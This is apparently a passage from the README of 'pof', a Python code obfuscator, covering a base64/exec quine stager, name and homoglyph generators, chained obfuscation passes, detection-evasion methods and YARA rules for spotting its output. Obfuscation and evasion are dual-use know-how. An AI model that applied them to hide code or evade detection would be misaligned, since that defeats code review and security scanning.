tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')]
def quine():
return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])
exec(b64decode(esource))
This is most likely useless, a quine is a program that output its source code,
and you can generate a quine from your source code with this.
Your script will still execute but a new function quine will be available, if
you call it you'll have access to the source.
Example usage:
echo "print(quine())" | pof -f stager -k QuineStager > out.py
python3 out.py > out2.py
python3 out2.py > out3.py
diff out2.py out3.py
The out2.py and out3.py files are identical, they both contain the source
code, and the script print(quine()).
[!NOTE]
By default pof uses a custom Untokenizer that removes useless spaces
(NoSpaceUntokenizer defined in ./pof/utils/tokens.py), so first generation
(in the example out.py) will not have spaces present in the subsquent
outputs.
Format
You can choose to automatically format the output code using black.
From the CLI add the --format flag.
From lib:
from pof.utils.format import black_format
obf = ExampleObfuscator().obfuscate(...)
out = black_format(obf)
print(out)
Generators
Generators are used to generate new names, they can be used to classes,
variables, functions, constants or any other.
BasicGenerator.alphabet_generator:
kMX94Fcb
mff0ERu3V
lNRxu3hk
b5PK35uR_t
AdvancedGenerator.realistic_generator:
Useful to create variables that look realistic.
raise_src
expected_message
ContextInputValidation
is_auth
AdvancedGenerator.fixed_length_generator:
Inspired by: pyob.oxyry.com.
O00OOOO00O0O00OOO
O000OOOOO0O000O0O
O0OOOO0000OO0OO00
O000000OO0O0O0OO0
UnicodeGenerator.katakana_generator:
γ·
γγ©
γγ―
γγ
Yes they are valid Python variable name.
Usage:
from pof.utils.generator import UnicodeGenerator
gen = UnicodeGenerator().katakana_generator()
for _ in range(4):
print(next(gen))
You can also combine generators to pick randomly but with weights associated:
from pof.utils.generator import *
gen_dict = {
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
}
gen = AdvancedGenerator.multi_generator(gen_dict)
for _ in range(4):
print(next(gen))
Homoglyphs
Homoglyphs are glyphs that have the
same shape and appear identical. There is a generator to help create them.
Example of homoglyphs for Hello, world!:
Hπllo, world!
Hello, α΄‘orld!
Hello, worldΗ
Hello, worldοΌ
HΠ΅llo, world!
Hello, woΠ³ld!
Hello, woκld!
Hello,β
world!
Hello, worldΗ
HelloΒΈ world!
Hello,βworld!
Usage:
from pof.utils.se import HomoglyphsGenerator
def get_homoglyphs():
generator = HomoglyphsGenerator()
text = "Hello, world!"
for _ in range(10):
homoglyph = generator.get_single_homoglyph(text)
print(homoglyph)
Python API
The true power of pof is in chaining multiple different obfuscation techniques
easily, there is a pretty simple Python API to do so.
For example this is a snippet of the default obfuscator:
import random
from pof import BaseObfuscator
from pof.obfuscator import (
BuiltinsObfuscator,
CommentsObfuscator,
ConstantsObfuscator,
ExceptionObfuscator,
GlobalsObfuscator,
LoggingObfuscator,
NumberObfuscator,
PrintObfuscator,
StringsObfuscator,
)
from pof.utils.extract_names import NameExtract
from pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator
class ExampleObfuscator(BaseObfuscator):
def obfuscate(self, source: str):
tokens = self._get_tokens(source)
reserved_words_add = NameExtract.get_names(tokens)
BaseGenerator.extend_reserved(reserved_words_add)
tokens = CommentsObfuscator().obfuscate_tokens(tokens)
tokens = LoggingObfuscator().obfuscate_tokens(tokens)
tokens = PrintObfuscator().obfuscate_tokens(tokens)
tokens = ExceptionObfuscator(
add_codes=True,
generator=BasicGenerator.number_name_generator(),
).obfuscate_tokens(tokens)
generator = AdvancedGenerator.multi_generator({
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
})
tokens = ConstantsObfuscator(
generator=generator,
obf_number_rate=0.7,
obf_string_rate=0.1,
obf_builtins_rate=0.3,
).obfuscate_tokens(tokens)
tokens = GlobalsObfuscator().obfuscate_tokens(tokens)
tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
b64decode_name = next(generator)
b85decode_name = next(generator)
string_obfuscator = StringsObfuscator(
import_b64decode=True,
import_b85decode=True,
b64decode_name=b64decode_name,
b85decode_name=b85decode_name,
)
tokens = string_obfuscator.obfuscate_tokens(tokens)
string_obfuscator.import_b64decode = False
string_obfuscator.import_b85decode = False
for _ in range(2):
tokens = NumberObfuscator().obfuscate_tokens(tokens)
tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
for _ in range(2):
tokens = string_obfuscator.obfuscate_tokens(tokens)
return self._untokenize(tokens)
print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))
In this example we can see that first we remove comments, logging, print
statements, and change the content of exceptions. And then we start to obfuscate
constants, names, globals, builtins, strings. Then strings and numbers multiple
times, and we finally convert the tokens back to code.
By chaining multiple obfuscations techniques we can create very complex and
custom output.
Pof also provide evasions methods, they are useful for quick and easy evasions,
and can be used and customized to fit the need. The full evasion documentation
can be found in evasion.md.
For more example of how to use the pof Python API check the
examples/ directory.
Yara
Yara rules can be used to detect malware, they can also be used to find
interesting strings in Python source code. To check rules against source files
and/or obfuscated files run:
yara --no-warnings yara/python.yar examples/out/custom_complete_format.py
[!NOTE]
The rules are far from perfect, but they are a starting point.
Development
Project directory structure:
pof: contains all the pof source code.
pof/obfuscator: contains obfuscators.
pof/stager: contains stagers.
pof/evasion: contains evasions.
pof/utils: all shared code between stager, obfuscator and evasion.
wip: work in progress code that will eventually make its way inside the main
code base.
tests: unit tests for pof.
scripts: some useful scripts to develop or use pof.
yara: some yara rules to detect pof obfuscated code.
Setup dev environment:
python3 -m venv venv
source ./venv/bin/activate
pip install -e .
pip install -e ".[dev]"
pip install -e ".[test]"
Run pof CLI:
./pof.py --help
Run tests:
pytest
Format:
ruff format .
Lint:
ruff check .
Test build package:
pip install -e ".[build]"
check-manifest --ignore "tests/**"
python3 -m build
python3 -m twine check dist/*
Update evasion documentation:
pip install .
./scripts/generate_evasion_docs.py > evasion.md
Python 2
No effort is made to support Python 2, most obfuscator, stagers, and evasion
should work out of the box, but they are not tested.
Alternatives
Other Python obfuscation projects:
TODO
- Add option to prepend a shebang, and add ability to customize it.
License
pof is licensed under GPLv3.